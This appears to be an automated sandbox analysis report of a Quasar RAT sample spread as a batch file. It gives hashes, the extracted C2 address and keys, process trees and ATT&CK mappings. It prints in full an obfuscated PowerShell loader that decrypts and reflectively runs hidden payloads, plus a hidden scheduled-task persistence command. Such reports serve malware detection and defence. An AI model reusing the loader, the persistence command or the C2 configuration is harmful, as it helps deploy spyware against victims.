quasar | f97f77ce58a88581f1c85dd041e9eae54355627ecb8a50879e3e2b2d3b93c928

General

Target

Uni.bat
Size

513KB
MD5

0a925ca16ec44e9565027638c4ff20f7
SHA1

d20cce3d5306e093b5229277bf185d8837870434
SHA256

f97f77ce58a88581f1c85dd041e9eae54355627ecb8a50879e3e2b2d3b93c928
SHA512

063be2320c4fabda61ea010ed4cecd8cb48805590d174efe9df5664afe7507ab83087b604ecb9999c7c1c51e13a841735e976d846ef6c693fe0c72ac94ca1d43
SSDEEP

12288:ZUA4TL+TtSVgrl27G3czjtDAJyemKolW59Evy:ZUA4Yx27GYGJyemKtivy

Score

10^/10

quasar slave execution spyware trojan

Malware Config

Extracted

Family

quasar

Version

3.1.5

Botnet

SLAVE

C2

even-lemon.gl.at.ply.gg:33587

Mutex

$Sxr-AidubAN29rBfWYM23w

Attributes

encryption_key
iBg8YjYObpa3f3ADDras
install_name
$sxr-powershell.exe
log_directory
$SXR-LOGS
reconnect_delay
3000
startup_key
$sxr-powershell
subdirectory
$sxr-seroxen2

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 1 IoCs

Processes:

resource	yara_rule
behavioral2/memory/2992-78-0x0000000006D80000-0x0000000006DEC000-memory.dmp	family_quasar

Blocklisted process makes network request 3 IoCs

Processes:

powershell.exe

flow pid process

27 2992 powershell.exe
29 2992 powershell.exe
31 2992 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exepowershell.exe

pid process

2556 powershell.exe
3696 powershell.exe
2992 powershell.exe

flow	pid	process
27	2992	powershell.exe
29	2992	powershell.exe
31	2992	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WScript.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\Control Panel\International\Geo\Nation	WScript.exe

Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

26 ip-api.com
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Modifies registry class 1 IoCs

Processes:

powershell.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000_Classes\Local Settings powershell.exe

flow	ioc
26	ip-api.com

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

pid	process
2556	powershell.exe
2556	powershell.exe
3696	powershell.exe
3696	powershell.exe
3696	powershell.exe
2992	powershell.exe
2992	powershell.exe
2992	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	2556	powershell.exe
Token: SeDebugPrivilege	3696	powershell.exe
Token: SeIncreaseQuotaPrivilege	3696	powershell.exe
Token: SeSecurityPrivilege	3696	powershell.exe
Token: SeTakeOwnershipPrivilege	3696	powershell.exe
Token: SeLoadDriverPrivilege	3696	powershell.exe
Token: SeSystemProfilePrivilege	3696	powershell.exe
Token: SeSystemtimePrivilege	3696	powershell.exe
Token: SeProfSingleProcessPrivilege	3696	powershell.exe
Token: SeIncBasePriorityPrivilege	3696	powershell.exe
Token: SeCreatePagefilePrivilege	3696	powershell.exe
Token: SeBackupPrivilege	3696	powershell.exe
Token: SeRestorePrivilege	3696	powershell.exe
Token: SeShutdownPrivilege	3696	powershell.exe
Token: SeDebugPrivilege	3696	powershell.exe
Token: SeSystemEnvironmentPrivilege	3696	powershell.exe
Token: SeRemoteShutdownPrivilege	3696	powershell.exe
Token: SeUndockPrivilege	3696	powershell.exe
Token: SeManageVolumePrivilege	3696	powershell.exe
Token: 33	3696	powershell.exe
Token: 34	3696	powershell.exe
Token: 35	3696	powershell.exe
Token: 36	3696	powershell.exe
Token: SeIncreaseQuotaPrivilege	3696	powershell.exe
Token: SeSecurityPrivilege	3696	powershell.exe
Token: SeTakeOwnershipPrivilege	3696	powershell.exe
Token: SeLoadDriverPrivilege	3696	powershell.exe
Token: SeSystemProfilePrivilege	3696	powershell.exe
Token: SeSystemtimePrivilege	3696	powershell.exe
Token: SeProfSingleProcessPrivilege	3696	powershell.exe
Token: SeIncBasePriorityPrivilege	3696	powershell.exe
Token: SeCreatePagefilePrivilege	3696	powershell.exe
Token: SeBackupPrivilege	3696	powershell.exe
Token: SeRestorePrivilege	3696	powershell.exe
Token: SeShutdownPrivilege	3696	powershell.exe
Token: SeDebugPrivilege	3696	powershell.exe
Token: SeSystemEnvironmentPrivilege	3696	powershell.exe
Token: SeRemoteShutdownPrivilege	3696	powershell.exe
Token: SeUndockPrivilege	3696	powershell.exe
Token: SeManageVolumePrivilege	3696	powershell.exe
Token: 33	3696	powershell.exe
Token: 34	3696	powershell.exe
Token: 35	3696	powershell.exe
Token: 36	3696	powershell.exe
Token: SeIncreaseQuotaPrivilege	3696	powershell.exe
Token: SeSecurityPrivilege	3696	powershell.exe
Token: SeTakeOwnershipPrivilege	3696	powershell.exe
Token: SeLoadDriverPrivilege	3696	powershell.exe
Token: SeSystemProfilePrivilege	3696	powershell.exe
Token: SeSystemtimePrivilege	3696	powershell.exe
Token: SeProfSingleProcessPrivilege	3696	powershell.exe
Token: SeIncBasePriorityPrivilege	3696	powershell.exe
Token: SeCreatePagefilePrivilege	3696	powershell.exe
Token: SeBackupPrivilege	3696	powershell.exe
Token: SeRestorePrivilege	3696	powershell.exe
Token: SeShutdownPrivilege	3696	powershell.exe
Token: SeDebugPrivilege	3696	powershell.exe
Token: SeSystemEnvironmentPrivilege	3696	powershell.exe
Token: SeRemoteShutdownPrivilege	3696	powershell.exe
Token: SeUndockPrivilege	3696	powershell.exe
Token: SeManageVolumePrivilege	3696	powershell.exe
Token: 33	3696	powershell.exe
Token: 34	3696	powershell.exe
Token: 35	3696	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

powershell.exe

pid process

2992 powershell.exe

pid	process
2992	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

Processes:

cmd.exepowershell.exeWScript.execmd.exe

description	pid	process	target process
PID 2028 wrote to memory of 2556	2028	cmd.exe	powershell.exe
PID 2028 wrote to memory of 2556	2028	cmd.exe	powershell.exe
PID 2028 wrote to memory of 2556	2028	cmd.exe	powershell.exe
PID 2556 wrote to memory of 3696	2556	powershell.exe	powershell.exe
PID 2556 wrote to memory of 3696	2556	powershell.exe	powershell.exe
PID 2556 wrote to memory of 3696	2556	powershell.exe	powershell.exe
PID 2556 wrote to memory of 1628	2556	powershell.exe	WScript.exe
PID 2556 wrote to memory of 1628	2556	powershell.exe	WScript.exe
PID 2556 wrote to memory of 1628	2556	powershell.exe	WScript.exe
PID 1628 wrote to memory of 2288	1628	WScript.exe	cmd.exe
PID 1628 wrote to memory of 2288	1628	WScript.exe	cmd.exe
PID 1628 wrote to memory of 2288	1628	WScript.exe	cmd.exe
PID 2288 wrote to memory of 2992	2288	cmd.exe	powershell.exe
PID 2288 wrote to memory of 2992	2288	cmd.exe	powershell.exe
PID 2288 wrote to memory of 2992	2288	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Uni.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2028

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sUCdiMpPcTo1kNTcd5faO+vGx5veajqktS5lxbmGgB0='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('HohuDnSLNHAZu1hC5GGBHg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $lxCOt=New-Object System.IO.MemoryStream(,$param_var); $ejzUa=New-Object System.IO.MemoryStream; $KBGGf=New-Object System.IO.Compression.GZipStream($lxCOt, [IO.Compression.CompressionMode]::Decompress); $KBGGf.CopyTo($ejzUa); $KBGGf.Dispose(); $lxCOt.Dispose(); $ejzUa.Dispose(); $ejzUa.ToArray();}function execute_function($param_var,$param2_var){ $KWZel=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $yxLPQ=$KWZel.EntryPoint; $yxLPQ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Uni.bat';$Urrlw=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Uni.bat').Split([Environment]::NewLine);foreach ($eNEwK in $Urrlw) { if ($eNEwK.StartsWith(':: ')) { $UjlEC=$eNEwK.Substring(3); break; }}$payloads_var=[string[]]$UjlEC.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
2⤵
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2556

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_118_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_118.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3696

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_118.vbs"
3⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1628

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_118.bat" "
4⤵
- Suspicious use of WriteProcessMemory
PID:2288

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sUCdiMpPcTo1kNTcd5faO+vGx5veajqktS5lxbmGgB0='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('HohuDnSLNHAZu1hC5GGBHg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $lxCOt=New-Object System.IO.MemoryStream(,$param_var); $ejzUa=New-Object System.IO.MemoryStream; $KBGGf=New-Object System.IO.Compression.GZipStream($lxCOt, [IO.Compression.CompressionMode]::Decompress); $KBGGf.CopyTo($ejzUa); $KBGGf.Dispose(); $lxCOt.Dispose(); $ejzUa.Dispose(); $ejzUa.ToArray();}function execute_function($param_var,$param2_var){ $KWZel=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $yxLPQ=$KWZel.EntryPoint; $yxLPQ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_118.bat';$Urrlw=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_118.bat').Split([Environment]::NewLine);foreach ($eNEwK in $Urrlw) { if ($eNEwK.StartsWith(':: ')) { $UjlEC=$eNEwK.Substring(3); break; }}$payloads_var=[string[]]$UjlEC.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
5⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:2992

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=4196,i,16488180140590516186,11762960689811837350,262144 --variations-seed-version --mojo-platform-channel-handle=4156 /prefetch:8
1⤵
PID:3788

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
9751fcb3d8dc82d33d50eebe53abe314

SHA1
7a680212700a5d9f3ca67c81e0e243834387c20c

SHA256
ad2e3139aa438f799c4a876ca3e64af772b8a5786149925a08389723e42394d7

SHA512
54907cc18684ff892b737496183ca60c788d8f5d76365586954f269dbd50ac1b9cd48c7c50bd6ca02009e6020fd77a8282c9a7ad6b824a20585c505bd7e13709

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
17KB

MD5
8a5b17921e36c7de6497b037632aabe1

SHA1
2f633a5ec3a29584292c6266f4f8ab6e9ef8ccfa

SHA256
631c3c58a699f0ae56b5fe3fc0d7f4be2d085740afbe63a7a6ffeedebbbfc1c5

SHA512
025aca647bc3244d09e8e0e8bc3d490298296fd1137144dff973d5e84e595b82333a0b22c398a06cbc3e7e7daf9ce340c9524c0e31cbd041df410179ce250656

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zou54ou0.xge.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_118.bat

Filesize
513KB

MD5
0a925ca16ec44e9565027638c4ff20f7

SHA1
d20cce3d5306e093b5229277bf185d8837870434

SHA256
f97f77ce58a88581f1c85dd041e9eae54355627ecb8a50879e3e2b2d3b93c928

SHA512
063be2320c4fabda61ea010ed4cecd8cb48805590d174efe9df5664afe7507ab83087b604ecb9999c7c1c51e13a841735e976d846ef6c693fe0c72ac94ca1d43

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_118.vbs

Filesize
115B

MD5
2ea31a6d1f87eae4e1e823f9ff59c278

SHA1
352636ad6cf76ed7545be9264c357f998d46c607

SHA256
17fe9fe54a7fd5ad22f8e22da999cc4278605a716e62d5301bb6c9b3ff72af8d

SHA512
cadab762f83f45ef6a009c52cb56fde45f14d51e8bc24dc4b799a30d9db2e0edb597157861247bcdb3b409c646ddd53c3bfb11a58410f6c8f3ca9af6baa355a1

Download Submit
memory/2556-18-0x0000000006920000-0x000000000693E000-memory.dmp

Filesize
120KB

Download
memory/2556-3-0x0000000074790000-0x0000000074F40000-memory.dmp

Filesize
7.7MB

Download
memory/2556-7-0x00000000063C0000-0x0000000006426000-memory.dmp

Filesize
408KB

Download
memory/2556-5-0x0000000006280000-0x00000000062A2000-memory.dmp

Filesize
136KB

Download
memory/2556-17-0x0000000006490000-0x00000000067E4000-memory.dmp

Filesize
3.3MB

Download
memory/2556-0-0x000000007479E000-0x000000007479F000-memory.dmp

Filesize
4KB

Download
memory/2556-19-0x0000000006970000-0x00000000069BC000-memory.dmp

Filesize
304KB

Download
memory/2556-20-0x00000000081A0000-0x000000000881A000-memory.dmp

Filesize
6.5MB

Download
memory/2556-21-0x0000000006EF0000-0x0000000006F0A000-memory.dmp

Filesize
104KB

Download
memory/2556-22-0x0000000003340000-0x0000000003348000-memory.dmp

Filesize
32KB

Download
memory/2556-23-0x0000000007B30000-0x0000000007B92000-memory.dmp

Filesize
392KB

Download
memory/2556-24-0x0000000009820000-0x0000000009DC4000-memory.dmp

Filesize
5.6MB

Download
memory/2556-77-0x0000000074790000-0x0000000074F40000-memory.dmp

Filesize
7.7MB

Download
memory/2556-1-0x0000000003470000-0x00000000034A6000-memory.dmp

Filesize
216KB

Download
memory/2556-2-0x0000000005B20000-0x0000000006148000-memory.dmp

Filesize
6.2MB

Download
memory/2556-4-0x0000000074790000-0x0000000074F40000-memory.dmp

Filesize
7.7MB

Download
memory/2556-6-0x0000000006350000-0x00000000063B6000-memory.dmp

Filesize
408KB

Download
memory/2992-78-0x0000000006D80000-0x0000000006DEC000-memory.dmp

Filesize
432KB

Download
memory/2992-83-0x0000000007490000-0x000000000749A000-memory.dmp

Filesize
40KB

Download
memory/2992-81-0x0000000007260000-0x000000000729C000-memory.dmp

Filesize
240KB

Download
memory/2992-80-0x0000000006FC0000-0x0000000006FD2000-memory.dmp

Filesize
72KB

Download
memory/2992-79-0x0000000006F00000-0x0000000006F92000-memory.dmp

Filesize
584KB

Download
memory/3696-50-0x0000000007440000-0x00000000074E3000-memory.dmp

Filesize
652KB

Download
memory/3696-55-0x0000000074790000-0x0000000074F40000-memory.dmp

Filesize
7.7MB

Download
memory/3696-58-0x0000000074790000-0x0000000074F40000-memory.dmp

Filesize
7.7MB

Download
memory/3696-49-0x0000000074790000-0x0000000074F40000-memory.dmp

Filesize
7.7MB

Download
memory/3696-38-0x00000000705B0000-0x00000000705FC000-memory.dmp

Filesize
304KB

Download
memory/3696-37-0x00000000071F0000-0x0000000007222000-memory.dmp

Filesize
200KB

Download
memory/3696-27-0x0000000074790000-0x0000000074F40000-memory.dmp

Filesize
7.7MB

Download
memory/3696-26-0x0000000074790000-0x0000000074F40000-memory.dmp

Filesize
7.7MB

Download
memory/3696-54-0x00000000077A0000-0x00000000077B1000-memory.dmp

Filesize
68KB

Download
memory/3696-53-0x0000000007820000-0x00000000078B6000-memory.dmp

Filesize
600KB

Download
memory/3696-52-0x0000000007610000-0x000000000761A000-memory.dmp

Filesize
40KB

Download
memory/3696-48-0x00000000071D0000-0x00000000071EE000-memory.dmp

Filesize
120KB

Download
memory/3696-51-0x0000000074790000-0x0000000074F40000-memory.dmp

Filesize
7.7MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads